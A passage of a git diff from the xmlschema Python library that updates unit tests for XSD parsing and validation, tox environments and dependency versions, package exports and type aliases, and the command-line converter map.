AttributeError)) as ec: # type: ignore pickle.dumps(schema) - self.assertIn("Can't pickle", str(ec.exception)) - - def test_old_subclassing_attribute(self): - with warnings.catch_warnings(record=True) as ctx: - warnings.simplefilter("always") - - class OldXMLSchema10(XMLSchema10): - BUILDERS = { - 'attribute_class': Xsd11Attribute, - } + error_message = str(ec.exception) + self.assertTrue( + "Can't get local object" in error_message or "Can't pickle" in error_message + ) - self.assertEqual(len(ctx), 1, "Expected one import warning") - self.assertIn("'BUILDERS' will be removed in v2.0", str(ctx[0].message)) + def test_meta_schema_validation(self): + self.assertTrue(self.schema_class.meta_schema.is_valid(self.vh_xsd_file)) - self.assertIs(OldXMLSchema10.xsd_attribute_class, Xsd11Attribute) - - name = OldXMLSchema10.meta_schema.__class__.__name__ - self.assertEqual(name, 'MetaXMLSchema10') - self.assertNotIn(name, globals()) + invalid_xsd = self.casepath('examples/vehicles/invalid.xsd') + self.assertFalse(self.schema_class.meta_schema.is_valid(invalid_xsd)) def test_default_namespace_mapping__issue_266(self): schema_file = self.casepath('issues/issue_266/issue_266b-1.xsd') @@ -842,6 +719,61 @@ def test_default_namespace_mapping__issue_266(self): self.assertIn("the QName 'testAttribute3' is mapped to no namespace", error_message) self.assertIn("requires that there is an xs:import statement", error_message) + @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible.") + def test_import_dsig_namespace__issue_357(self): + location = 'https://www.w3.org/TR/2008/REC-xmldsig-core-20080610/xmldsig-core-schema.xsd' + dsig_namespace = 'http://www.w3.org/2000/09/xmldsig#' + + schema = self.schema_class(dedent(f"""<?xml version="1.0" encoding="UTF-8"?> + <!-- Test import of defused data from remote with a fallback.--> + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:import namespace="{dsig_namespace}" + schemaLocation="{location}"/> + <xs:element name="root"/> + </xs:schema>""")) + + self.assertIn(dsig_namespace, schema.maps.namespaces) + url = schema.maps.namespaces[dsig_namespace][0].url + self.assertIsInstance(url, str) + self.assertTrue(url.endswith('schemas/DSIG/xmldsig-core-schema.xsd')) + + def test_include_overlap(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="elem1"/> + <xs:element name="elem2"/> + </xs:schema>""")) + + with self.assertRaises(XMLSchemaParseError) as ctx: + self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="elem1"/> + <xs:element name="elem2"/> + </xs:schema>"""), global_maps=schema.maps) + + self.assertIn("global element with name='elem1' is already defined", + str(ctx.exception)) + + def test_use_xpath3(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"/> + </xs:schema>"""), use_xpath3=True) + + self.assertFalse(schema.use_xpath3) + + def test_xmlns_namespace_forbidden(self): + source = dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + targetNamespace="http://www.w3.org/2000/xmlns/"> + <xs:element name="root"/> + </xs:schema>""") + + with self.assertRaises(ValueError) as ctx: + self.schema_class(source) + + self.assertIn('http://www.w3.org/2000/xmlns/', str(ctx.exception)) + class TestXMLSchema11(TestXMLSchema10): @@ -852,7 +784,7 @@ class CustomXMLSchema(XMLSchema11): def test_default_attributes(self): schema = self.schema_class(dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" defaultAttributes="attrs"> <xs:element name="root"/> <xs:attributeGroup name="attrs"> @@ -863,20 +795,51 @@ def test_default_attributes(self): with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" defaultAttributes="attrs"> <xs:element name="root"/> </xs:schema>""")) - self.assertIn("'attrs' doesn't match an attribute group", ctx.exception.message) + self.assertIn("'attrs' doesn't match any attribute group", ctx.exception.message) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ - <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" defaultAttributes="x:attrs"> <xs:element name="root"/> </xs:schema>""")) self.assertEqual("prefix 'x' not found in namespace map", ctx.exception.message) + def test_use_xpath3(self): + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"/> + </xs:schema>"""), use_xpath3=True) + + self.assertTrue(schema.use_xpath3) + + schema = self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root" type="rootType"/> + <xs:complexType name="rootType"> + <xs:assert test="let $foo := 'bar' return $foo"/> + + </xs:complexType> + </xs:schema>"""), use_xpath3=True) + + self.assertTrue(schema.use_xpath3) + + with self.assertRaises(XMLSchemaParseError) as ctx: + self.schema_class(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root" type="rootType"/> + <xs:complexType name="rootType"> + <xs:assert test="let $foo := 'bar' return $foo"/> + + </xs:complexType> + </xs:schema>""")) + + self.assertIn('XPST0003', str(ctx.exception)) + class TestXMLSchemaMeta(unittest.TestCase): diff --git a/tests/validators/test_simple_types.py b/tests/validators/test_simple_types.py index 4e6fc3b..b1a338b 100644 --- a/tests/validators/test_simple_types.py +++ b/tests/validators/test_simple_types.py @@ -36,7 +36,7 @@ def test_simple_types(self): self.assertEqual(xs.types['test_union'].elem.tag, XSD_UNION) def test_variety_property(self): - schema = self.check_schema(""" + schema = self.check_schema(""" <xs:simpleType name="atomicType"> <xs:restriction base="xs:string"/> </xs:simpleType> @@ -156,7 +156,7 @@ def test_is_empty(self): <xs:length value="0"/> </xs:restriction> </xs:simpleType> - + <xs:simpleType name="emptyType3"> <xs:restriction base="xs:string"> <xs:enumeration value=""/> diff --git a/tests/validators/test_wildcards.py b/tests/validators/test_wildcards.py index 538a025..82ee510 100644 --- a/tests/validators/test_wildcards.py +++ b/tests/validators/test_wildcards.py @@ -167,7 +167,7 @@ class TestXsd11Wildcards(TestXsdWildcards): schema_class = XMLSchema11 def test_parsing(self): - super(TestXsd11Wildcards, self).test_parsing() + super().test_parsing() schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="tns1"> <xs:group name="group1"> @@ -382,8 +382,8 @@ def test_open_content_mode_interleave(self): </xs:complexType> </xs:element>""") self.assertEqual(schema.elements['Book'].type.open_content.mode, 'interleave') - self.assertEqual(schema.elements['Book'].type.open_content.any_element.min_occurs, 0) - self.assertIsNone(schema.elements['Book'].type.open_content.any_element.max_occurs) + self.assertEqual(schema.elements['Book'].type.open_content.any_element.min_occurs, 1) + self.assertEqual(schema.elements['Book'].type.open_content.any_element.max_occurs, 1) schema = self.check_schema(""" <xs:complexType name="name"> @@ -421,8 +421,8 @@ def test_open_content_mode_suffix(self): </xs:sequence> </xs:complexType>""") self.assertEqual(schema.types['name'].open_content.mode, 'suffix') - self.assertEqual(schema.types['name'].open_content.any_element.min_occurs, 0) - self.assertIsNone(schema.types['name'].open_content.any_element.max_occurs) + self.assertEqual(schema.types['name'].open_content.any_element.min_occurs, 1) + self.assertEqual(schema.types['name'].open_content.any_element.max_occurs, 1) self.check_schema(""" <xs:complexType name="name"> @@ -730,7 +730,7 @@ def test_not_qname_attribute(self): </xs:schema>""", XMLSchemaParseError) def test_any_wildcard(self): - super(TestXsd11Wildcards, self).test_any_wildcard() + super().test_any_wildcard() self.check_schema(""" <xs:complexType name="taggedType"> <xs:sequence> @@ -767,7 +767,7 @@ def test_any_wildcard(self): <xs:complexType name="taggedType"> <xs:sequence> <xs:element name="tag" type="xs:string"/> - <xs:any namespace="##targetNamespace" + <xs:any namespace="##targetNamespace" notQName="##defined tns1:foo ##definedSibling"/> </xs:sequence> </xs:complexType> @@ -776,7 +776,7 @@ def test_any_wildcard(self): ['##defined', '{tns1}foo', '##definedSibling']) def test_any_attribute_wildcard(self): - super(TestXsd11Wildcards, self).test_any_attribute_wildcard() + super().test_any_attribute_wildcard() schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns1="tns1" targetNamespace="tns1"> diff --git a/tests/validators/test_xsdbase.py b/tests/validators/test_xsdbase.py index 6103da2..cb0d778 100644 --- a/tests/validators/test_xsdbase.py +++ b/tests/validators/test_xsdbase.py @@ -13,23 +13,33 @@ import platform import re from textwrap import dedent +from xml.etree import ElementTree try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None +from xmlschema import DataElement, XMLResource, XMLSchemaConverter, JsonMLConverter from xmlschema.validators import XsdValidator, XsdComponent, XMLSchema10, XMLSchema11, \ XMLSchemaParseError, XMLSchemaValidationError, XsdAnnotation, XsdGroup, XsdSimpleType +from xmlschema.validators.xsdbase import check_validation_mode from xmlschema.names import XSD_NAMESPACE, XSD_ELEMENT, XSD_ANNOTATION, XSD_ANY_TYPE -from xmlschema.etree import ElementTree -from xmlschema.dataobjects import DataElement CASES_DIR = os.path.join(os.path.dirname(__file__), '../test_cases') class TestXsdValidator(unittest.TestCase): + def test_check_validation_mode(self): + self.assertIsNone(check_validation_mode('strict')) + self.assertIsNone(check_validation_mode('lax')) + self.assertIsNone(check_validation_mode('skip')) + + self.assertRaises(ValueError, check_validation_mode, 'none') + self.assertRaises(ValueError, check_validation_mode, ' strict ') + self.assertRaises(TypeError, check_validation_mode, None) + def test_initialization(self): validator = XsdValidator() self.assertEqual(validator.validation, 'strict') @@ -193,7 +203,7 @@ def test_representation(self): <xs:simpleContent> <xs:extension base="xs:string"> <xs:attribute ref="slot"/> - </xs:extension> + </xs:extension> </xs:simpleContent> </xs:complexType> </xs:element> @@ -320,13 +330,13 @@ def test_parse_target_namespace(self): <xs:complexContent> <xs:restriction base="type0"> <xs:sequence> - <xs:element name="elem1" targetNamespace="http://xmlschema.test/ns" + <xs:element name="elem1" targetNamespace="http://xmlschema.test/ns" type="xs:integer"/> </xs:sequence> </xs:restriction> - </xs:complexContent> + </xs:complexContent> </xs:complexType> - <xs:element name="root" type="type1"/> + <xs:element name="root" type="type1"/> </xs:schema>""") self.assertEqual(schema.elements['root'].type.content[0].target_namespace, 'http://xmlschema.test/ns') @@ -335,13 +345,30 @@ def test_parse_target_namespace(self): <xs:element name="root"> <xs:complexType> <xs:sequence> - <xs:element name="node" targetNamespace=""/> + <xs:element name="node" targetNamespace=""/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>""") self.assertEqual(schema.elements['root'].type.content[0].name, 'node') + def test_xmlns_namespace_forbidden(self): + source = dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"> + <xs:complexType> + <xs:sequence> + <xs:element name="node" targetNamespace="http://www.w3.org/2000/xmlns/"/> + </xs:sequence> + </xs:complexType> + </xs:element> + </xs:schema>""") + + with self.assertRaises(ValueError) as ctx: + XMLSchema11(source) + + self.assertIn('http://www.w3.org/2000/xmlns/', str(ctx.exception)) + def test_id_property(self): name = '{%s}motorbikes' % self.schema.target_namespace elem = ElementTree.Element(XSD_ELEMENT, name=name, id='1999') @@ -503,6 +530,86 @@ def test_annotations(self): self.assertEqual(len(annotation.errors), 0) # see issue 287 self.assertIsNone(annotation.annotation) + def test_attribute_group_annotation__issue_366(self): + schema = XMLSchema10(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:attributeGroup name="attrGroup"> + <xs:annotation> + <xs:documentation> + A global attribute group + </xs:documentation> + </xs:annotation> + <xs:attribute name="attr1"/> + <xs:attribute name="attr2"/> + </xs:attributeGroup> + + <xs:complexType name="rootType" mixed="true"> + <xs:annotation> + <xs:documentation> + A global complex type + </xs:documentation> + </xs:annotation> + <xs:sequence> + <xs:any minOccurs="0" maxOccurs="unbounded" processContents="lax"/> + </xs:sequence> + <xs:attributeGroup ref="attrGroup"/> + </xs:complexType> + + <xs:element name="root" type="rootType"> + <xs:annotation> + <xs:documentation> + The root element + </xs:documentation> + </xs:annotation> + </xs:element> + </xs:schema>""")) + + attribute_group = schema.attribute_groups['attrGroup'] + self.assertIn('A global attribute group', str(attribute_group.annotation)) + + xsd_type = schema.types['rootType'] + self.assertIn('A global complex type', str(xsd_type.annotation)) + self.assertIsNone(xsd_type.attributes.annotation) + + xsd_element = schema.elements['root'] + self.assertIn('The root element', str(xsd_element.annotation)) + self.assertIsNone(xsd_element.attributes.annotation) + + def test_get_converter(self): + schema = XMLSchema10(dedent("""\ + <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="root"/> + </xs:schema>""")) + + resource = XMLResource('<root xmlns:tns="http://example.test/ns1"/>') + namespaces = {'tns': 'http://example.test/ns0'} + obj = {'root': {'@xmlns:tns="http://example.test/ns1'}} + + kwargs = {'preserve_root': True, 'namespaces': namespaces} + converter = schema.elements['root']._get_converter(resource, kwargs) + self.assertIsInstance(converter, XMLSchemaConverter) + self.assertDictEqual( + kwargs['namespaces'], + {'tns': 'http://example.test/ns0', 'tns0': 'http://example.test/ns1'} + ) + self.assertIs(converter, kwargs['converter']) + self.assertIs(converter.namespaces, kwargs['namespaces']) + self.assertTrue(converter.preserve_root) + self.assertIs(resource, kwargs['source']) + + kwargs = {'converter': JsonMLConverter} + converter = schema.elements['root']._get_converter(resource.root, kwargs) + self.assertIsInstance(converter, JsonMLConverter) + self.assertIsNot(resource, kwargs['source']) + + kwargs = {'preserve_root': True} + converter = schema.elements['root']._get_converter(obj, kwargs) + self.assertIs(converter.source, obj) + + kwargs = {'preserve_root': True, 'source': obj} + converter = schema.elements['root']._get_converter(resource, kwargs) + self.assertIs(converter.source, obj) + class TestXsdType(unittest.TestCase): @@ -510,7 +617,7 @@ class TestXsdType(unittest.TestCase): def setUpClass(cls): cls.schema = XMLSchema10(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> - + <xs:simpleType name="emptyType"> <xs:restriction base="xs:string"> <xs:length value="0"/> @@ -519,7 +626,7 @@ def setUpClass(cls): <xs:complexType name="emptyType2"> <xs:attribute name="foo" type="xs:string"/> - </xs:complexType> + </xs:complexType> <xs:simpleType name="idType"> <xs:restriction base="xs:ID"/> @@ -532,7 +639,7 @@ def setUpClass(cls): <xs:simpleType name="dateTimeType"> <xs:restriction base="xs:dateTime"/> </xs:simpleType> - + <xs:simpleType name="fooType"> <xs:restriction base="xs:string"/> </xs:simpleType> @@ -544,12 +651,12 @@ def setUpClass(cls): <xs:simpleType name="fooUnionType"> <xs:union memberTypes="xs:string xs:anyURI"/> </xs:simpleType> - + <xs:complexType name="barType"> <xs:sequence> <xs:element name="node"/> </xs:sequence> - </xs:complexType> + </xs:complexType> <xs:complexType name="barExtType"> <xs:complexContent> @@ -559,7 +666,7 @@ def setUpClass(cls): </xs:sequence> </xs:extension> </xs:complexContent> - </xs:complexType> + </xs:complexType> <xs:complexType name="barResType"> <xs:complexContent> @@ -569,17 +676,17 @@ def setUpClass(cls): </xs:sequence> </xs:restriction> </xs:complexContent> - </xs:complexType> + </xs:complexType> <xs:complexType name="mixedType" mixed="true"> <xs:sequence> <xs:element name="node" type="xs:string"/> </xs:sequence> - </xs:complexType> + </xs:complexType> <xs:element name="fooElem" type="fooType"/> <xs:element name="barElem" type="barType" block="extension"/> - + </xs:schema>""")) def test_content_type_label(self): diff --git a/tox.ini b/tox.ini index 174d925..959e1c8 100644 --- a/tox.ini +++ b/tox.ini @@ -1,72 +1,72 @@ [tox] -envlist = py{37,38,39,310}, pypy3, ep{250}, docs, - flake8, mypy-py{37,38,39,310}, coverage, pytest +min_version = 4.0 +envlist = flake8, py{38,39,310,311,312,313,314,py3}, ep{45,46,47}, docs, + mypy-py{38,39,310,311,312,313,314,py3}, coverage, pytest skip_missing_interpreters = true -toxworkdir = {homedir}/.tox/xmlschema +work_dir = {tox_root}/../.tox/xmlschema [testenv] deps = - elementpath>=2.5.0, <3.0.0 + elementpath>=4.5.0, <5.0.0 lxml jinja2 - py{39,310}: memory_profiler + py312: memory_profiler docs: Sphinx docs: sphinx_rtd_theme - flake8: flake8 coverage: coverage commands = - python -m unittest tests/test_etree_import.py -k before - python -m unittest tests/test_etree_import.py -k after - python -m unittest tests/test_etree_import.py -k inconsistent python -m unittest -whitelist_externals = make -[testenv:pypy3] -commands = python -m unittest - -[testenv:ep250] +[testenv:ep{45,46,47}] deps = - elementpath==2.5.0 lxml + jinja2 + ep45: elementpath~=4.5 + ep46: elementpath~=4.6 + ep47: elementpath~=4.7 [testenv:docs] commands = - make -C doc html - make -C doc latexpdf - make -C doc doctest + make -C doc html SPHINXOPTS="-W -n" + make -C doc latexpdf SPHINXOPTS="-W -n" + make -C doc doctest SPHINXOPTS="-W -n" + sphinx-build -W -n -T -b man doc build/sphinx/man +allowlist_externals = make [flake8] max-line-length = 100 [testenv:flake8] +deps = + flake8 commands = flake8 xmlschema + flake8 tests + flake8 scripts -[testenv:mypy-py37] +[testenv:mypy-py38] deps = - mypy==0.931 - elementpath==2.5.0 + mypy==1.14.1 + elementpath==4.8.0 lxml-stubs jinja2 commands = - mypy --config-file {toxinidir}/mypy.ini xmlschema + mypy --config-file {toxinidir}/pyproject.toml xmlschema + python tests/test_typing.py -[testenv:mypy-py{38,39,310}] +[testenv:mypy-py{39,310,311,312,313,314,py3}] deps = - mypy==0.931 - elementpath==2.5.0 + mypy==1.15.0 + elementpath==4.8.0 lxml-stubs jinja2 commands = - mypy --config-file {toxinidir}/mypy.ini xmlschema + mypy --config-file {toxinidir}/pyproject.toml xmlschema python tests/test_typing.py [testenv:coverage] commands = coverage erase - coverage run -a -m unittest tests/test_etree_import.py -k before - coverage run -a -m unittest tests/test_etree_import.py -k after - coverage run -a -m unittest tests/test_etree_import.py -k inconsistent coverage run -a -m unittest coverage report -m @@ -74,19 +74,16 @@ commands = deps = pytest pytest-randomly - elementpath>=2.5.0, <3.0.0 + elementpath==4.8.0 lxml jinja2 - mypy==0.931 + mypy==1.15.0 lxml-stubs commands = pytest tests -ra [testenv:build] deps = - setuptools - wheel + build commands = - python setup.py clean --all - python setup.py sdist --dist-dir {toxinidir}/dist - python setup.py bdist_wheel --dist-dir {toxinidir}/dist + python -m build diff --git a/xmlschema/__init__.py b/xmlschema/__init__.py index b82e353..9671a5c 100644 --- a/xmlschema/__init__.py +++ b/xmlschema/__init__.py @@ -1,6 +1,5 @@ -# -*- coding: utf-8 -*- # -# Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). +# Copyright (c), 2016-2022, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present @@ -8,49 +7,54 @@ # # @author Davide Brunato <brunato@sissa.it> # +from elementpath.etree import etree_tostring + from . import limits +from . import translation from .exceptions import XMLSchemaException, XMLResourceError, XMLSchemaNamespaceError -from .etree import ElementData, etree_tostring -from .resources import normalize_url, normalize_locations, fetch_resource, \ - fetch_namespaces, fetch_schema_locations, fetch_schema, XMLResource +from .locations import normalize_url, normalize_locations +from .resources import fetch_resource, fetch_namespaces, fetch_schema_locations, \ + fetch_schema, XMLResource from .xpath import ElementPathMixin -from .converters import XMLSchemaConverter, \ +from .converters import ElementData, XMLSchemaConverter, \ UnorderedConverter, ParkerConverter, BadgerFishConverter, \ - AbderaConverter, JsonMLConverter, ColumnarConverter + AbderaConverter, JsonMLConverter, ColumnarConverter, GDataConverter from .dataobjects import DataElement, DataElementConverter, DataBindingConverter from .documents import validate, is_valid, iter_errors, iter_decode, \ - to_dict, to_json, from_json, XmlDocument + to_dict, to_json, to_etree, from_json, XmlDocument +from .exports import download_schemas from .validators import ( XMLSchemaValidatorError, XMLSchemaParseError, XMLSchemaNotBuiltError, XMLSchemaModelError, XMLSchemaModelDepthError, XMLSchemaValidationError, XMLSchemaDecodeError, XMLSchemaEncodeError, XMLSchemaChildrenValidationError, - XMLSchemaIncludeWarning, XMLSchemaImportWarning, XMLSchemaTypeTableWarning, - XsdGlobals, XMLSchemaBase, XMLSchema, XMLSchema10, XMLSchema11, - XsdComponent, XsdType, XsdElement, XsdAttribute + XMLSchemaStopValidation, XMLSchemaIncludeWarning, XMLSchemaImportWarning, + XMLSchemaTypeTableWarning, XMLSchemaAssertPathWarning, XsdGlobals, XMLSchemaBase, + XMLSchema, XMLSchema10, XMLSchema11, XsdComponent, XsdType, XsdElement, XsdAttribute ) -__version__ = '1.10.0' +__version__ = '3.4.5' __author__ = "Davide Brunato" __contact__ = "brunato@sissa.it" -__copyright__ = "Copyright 2016-2022, SISSA" +__copyright__ = "Copyright 2016-2025, SISSA" __license__ = "MIT" __status__ = "Production/Stable" - __all__ = [ - 'limits', 'XMLSchemaException', 'XMLResourceError', 'XMLSchemaNamespaceError', - 'etree_tostring', 'normalize_url', 'normalize_locations', 'fetch_resource', - 'fetch_namespaces', 'fetch_schema_locations', 'fetch_schema', 'XMLResource', - 'ElementPathMixin', 'ElementData', 'XMLSchemaConverter', 'UnorderedConverter', - 'ParkerConverter', 'BadgerFishConverter', 'AbderaConverter', 'JsonMLConverter', - 'ColumnarConverter', 'DataElement', 'DataElementConverter', 'DataBindingConverter', - 'validate', 'is_valid', 'iter_errors', 'iter_decode', 'to_dict', 'to_json', - 'from_json', 'XmlDocument', 'XMLSchemaValidatorError', 'XMLSchemaParseError', - 'XMLSchemaNotBuiltError', 'XMLSchemaModelError', 'XMLSchemaModelDepthError', - 'XMLSchemaValidationError', 'XMLSchemaDecodeError', 'XMLSchemaEncodeError', - 'XMLSchemaChildrenValidationError', 'XMLSchemaIncludeWarning', - 'XMLSchemaImportWarning', 'XMLSchemaTypeTableWarning', + 'limits', 'translation', 'XMLSchemaException', 'XMLResourceError', + 'XMLSchemaNamespaceError', 'etree_tostring', 'normalize_url', 'normalize_locations', + 'fetch_resource', 'fetch_namespaces', 'fetch_schema_locations', 'fetch_schema', + 'XMLResource', 'ElementPathMixin', 'ElementData', 'XMLSchemaConverter', + 'UnorderedConverter', 'ParkerConverter', 'BadgerFishConverter', 'GDataConverter', + 'AbderaConverter', 'JsonMLConverter', 'ColumnarConverter', 'DataElement', + 'DataElementConverter', 'DataBindingConverter', 'validate', 'is_valid', + 'iter_errors', 'iter_decode', 'to_dict', 'to_json', 'to_etree', 'from_json', + 'XmlDocument', 'download_schemas', + 'XMLSchemaValidatorError', 'XMLSchemaParseError', 'XMLSchemaNotBuiltError', + 'XMLSchemaModelError', 'XMLSchemaModelDepthError', 'XMLSchemaValidationError', + 'XMLSchemaDecodeError', 'XMLSchemaEncodeError', 'XMLSchemaChildrenValidationError', + 'XMLSchemaStopValidation', 'XMLSchemaIncludeWarning', 'XMLSchemaImportWarning', + 'XMLSchemaTypeTableWarning', 'XMLSchemaAssertPathWarning', 'XsdGlobals', 'XMLSchemaBase', 'XMLSchema', 'XMLSchema10', 'XMLSchema11', 'XsdComponent', 'XsdType', 'XsdElement', 'XsdAttribute', ] diff --git a/xmlschema/aliases.py b/xmlschema/aliases.py index 2c98daf..f121a46 100644 --- a/xmlschema/aliases.py +++ b/xmlschema/aliases.py @@ -16,44 +16,52 @@ from typing import TYPE_CHECKING, Optional, TypeVar __all__ = ['ElementType', 'ElementTreeType', 'XMLSourceType', 'NamespacesType', - 'NormalizedLocationsType', 'LocationsType', 'NsmapType', 'ParentMapType', - 'LazyType', 'SchemaType', 'BaseXsdType', 'SchemaElementType', + 'NormalizedLocationsType', 'LocationsType', 'NsmapType', 'XmlnsType', + 'ParentMapType', 'LazyType', 'SchemaType', 'BaseXsdType', 'SchemaElementType', 'SchemaAttributeType', 'SchemaGlobalType', 'GlobalMapType', 'ModelGroupType', 'ModelParticleType', 'XPathElementType', 'AtomicValueType', 'NumericValueType', 'DateTimeType', 'SchemaSourceType', 'ConverterType', 'ComponentClassType', - 'ExtraValidatorType', 'DecodeType', 'IterDecodeType', 'JsonDecodeType', - 'EncodeType', 'IterEncodeType', 'DecodedValueType', 'EncodedValueType'] + 'ExtraValidatorType', 'ValidationHookType', 'DecodeType', 'IterDecodeType', + 'JsonDecodeType', 'EncodeType', 'IterEncodeType', 'DecodedValueType', + 'EncodedValueType', 'FillerType', 'DepthFillerType', 'ValueHookType', + 'ElementHookType', 'UriMapperType', 'OccursCounterType'] if TYPE_CHECKING: - from pathlib import Path from decimal import Decimal - from typing import Callable, Dict, List, IO, Iterator, MutableMapping, Tuple, Type, Union + from pathlib import Path + from typing import Any, Callable, Counter, Dict, List, IO, Iterator, \ + MutableMapping, Tuple, Type, Union + from xml.etree import ElementTree from elementpath.datatypes import NormalizedString, QName, Float10, Integer, \ Time, Base64Binary, HexBinary, AnyURI, Duration from elementpath.datatypes.datetime import OrderedDateTime - from .etree import ElementTree + from .namespaces import NamespaceResourcesMap from .resources import XMLResource - from .converters import XMLSchemaConverter + from .converters import ElementData, XMLSchemaConverter from .validators import XMLSchemaValidationError, XsdComponent, XMLSchemaBase, \ XsdComplexType, XsdSimpleType, XsdElement, XsdAnyElement, XsdAttribute, \ - XsdAnyAttribute, XsdAssert, XsdGroup, XsdAttributeGroup, XsdNotation + XsdAnyAttribute, XsdAssert, XsdGroup, XsdAttributeGroup, XsdNotation, \ + ParticleMixin ## # Type aliases for ElementTree ElementType = ElementTree.Element ElementTreeType = ElementTree.ElementTree XMLSourceType = Union[str, bytes, Path, IO[str], IO[bytes], ElementType, ElementTreeType] - NamespacesType = MutableMapping[str, str] ## # Type aliases for XML resources + NamespacesType = MutableMapping[str, str] NormalizedLocationsType = List[Tuple[str, str]] - LocationsType = Union[Tuple[Tuple[str, str], ...], Dict[str, str], NormalizedLocationsType] - NsmapType = Union[List[Tuple[str, str]], MutableMapping[str, str]] + LocationsType = Union[Tuple[Tuple[str, str], ...], Dict[str, str], + NormalizedLocationsType, NamespaceResourcesMap] + NsmapType = MutableMapping[str, str] + XmlnsType = Optional[List[Tuple[str, str]]] ParentMapType = Dict[ElementType, Optional[ElementType]] LazyType = Union[bool, int] + UriMapperType = Union[MutableMapping[str, str], Callable[[str], str]] ## # Type aliases for XSD components @@ -68,6 +76,9 @@ ModelGroupType = XsdGroup ModelParticleType = Union[XsdElement, XsdAnyElement, XsdGroup] + OccursCounterType = Counter[ + Union[ParticleMixin, ModelParticleType, Tuple[ModelGroupType], None] + ] ComponentClassType = Union[None, Type[XsdComponent], Tuple[Type[XsdComponent], ...]] XPathElementType = Union[XsdElement, XsdAnyElement, XsdAssert] @@ -76,16 +87,18 @@ ## # Type aliases for datatypes - AtomicValueType = Union[str, int, float, Decimal, bool, Integer, Float10, NormalizedString, - AnyURI, HexBinary, Base64Binary, QName, Duration, OrderedDateTime, Time] + AtomicValueType = Union[str, bytes, int, float, Decimal, bool, Integer, + Float10, NormalizedString, AnyURI, HexBinary, + Base64Binary, QName, Duration, OrderedDateTime, Time] NumericValueType = Union[str, bytes, int, float, Decimal] DateTimeType = Union[OrderedDateTime, Time] ## # Type aliases for validation/decoding/encoding ConverterType = Union[Type[XMLSchemaConverter], XMLSchemaConverter] - ExtraValidatorType = Callable[[ElementType, SchemaType], + ExtraValidatorType = Callable[[ElementType, XsdElement], Optional[Iterator[XMLSchemaValidationError]]] + ValidationHookType = Callable[[ElementType, XsdElement], Union[bool, str]] D = TypeVar('D') DecodeType = Union[Optional[D], Tuple[Optional[D], List[XMLSchemaValidationError]]] @@ -98,8 +111,16 @@ JsonDecodeType = Union[str, None, Tuple[XMLSchemaValidationError, ...], Tuple[Union[str, None], Tuple[XMLSchemaValidationError, ...]]] - DecodedValueType = Union[None, AtomicValueType, List[AtomicValueType]] - EncodedValueType = Union[None, str, List[str]] + DecodedValueType = Union[None, AtomicValueType, List[Optional[AtomicValueType]], + XMLSchemaValidationError] + EncodedValueType = Union[None, str, List[str], XMLSchemaValidationError] + + FillerType = Callable[[Union[XsdElement, XsdAttribute]], Any] + DepthFillerType = Callable[[XsdElement], Any] + ValueHookType = Callable[[AtomicValueType, BaseXsdType], Any] + ElementHookType = Callable[ + [ElementData, Optional[XsdElement], Optional[BaseXsdType]], ElementData + ] else: # In runtime use a dummy subscriptable type for compatibility diff --git a/xmlschema/cli.py b/xmlschema/cli.py index 32916ac..b669500 100644 --- a/xmlschema/cli.py +++ b/xmlschema/cli.py @@ -6,7 +6,7 @@ # # @author Davide Brunato <brunato@sissa.it> # -# type: ignore +# mypy: ignore-errors """Command Line Interface""" import sys import os @@ -16,20 +16,20 @@ from urllib.error import URLError import xmlschema -from xmlschema import XMLSchema, XMLSchema11, iter_errors, to_json, from_json +from xmlschema import XMLSchema, XMLSchema11, iter_errors, to_json, from_json, etree_tostring from xmlschema.exceptions import XMLSchemaValueError -from xmlschema.etree import etree_tostring PROGRAM_NAME = os.path.basename(sys.argv[0]) CONVERTERS_MAP = { - 'Unordered': xmlschema.UnorderedConverter, - 'Parker': xmlschema.ParkerConverter, - 'BadgerFish': xmlschema.BadgerFishConverter, - 'Abdera': xmlschema.AbderaConverter, - 'JsonML': xmlschema.JsonMLConverter, - 'Columnar': xmlschema.ColumnarConverter, + 'unordered': xmlschema.UnorderedConverter, + 'parker': xmlschema.ParkerConverter, + 'badgerfish': xmlschema.BadgerFishConverter, + 'gdata': xmlschema.GDataConverter, + 'abdera': xmlschema.AbderaConverter, + 'jsonml': xmlschema.JsonMLConverter, + 'columnar': xmlschema.ColumnarConverter, } @@ -57,13 +57,13 @@ def get_loglevel(verbosity): def get_converter(name): - if name is None: - return + if not isinstance(name, str): + return None try: - return CONVERTERS_MAP[name] + return CONVERTERS_MAP[name.lower()] 